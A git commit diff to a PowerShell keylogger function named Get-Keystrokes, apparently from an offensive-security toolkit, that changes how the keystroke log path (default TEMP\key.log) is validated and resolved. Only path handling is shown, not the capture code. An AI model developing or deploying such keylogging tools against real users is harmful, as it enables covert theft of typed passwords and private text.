Get-Keystrokes now accepts relative paths

This commit is contained in:
Matt Graeber 2013-08-17 16:56:11 -04:00
parent d67e71bf2d
commit 05d335512a
1 changed files with 3 additions and 1 deletions

View File

@ -33,7 +33,7 @@
#> #>
[CmdletBinding()] Param ( [CmdletBinding()] Param (
[Parameter(Position = 0)] [Parameter(Position = 0)]
[ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})] [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
[String] [String]
$LogPath = "$($Env:TEMP)\key.log", $LogPath = "$($Env:TEMP)\key.log",
@ -42,6 +42,8 @@
$CollectionInterval $CollectionInterval
) )
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
Write-Verbose "Logging keystrokes to $LogPath" Write-Verbose "Logging keystrokes to $LogPath"
$Initilizer = { $Initilizer = {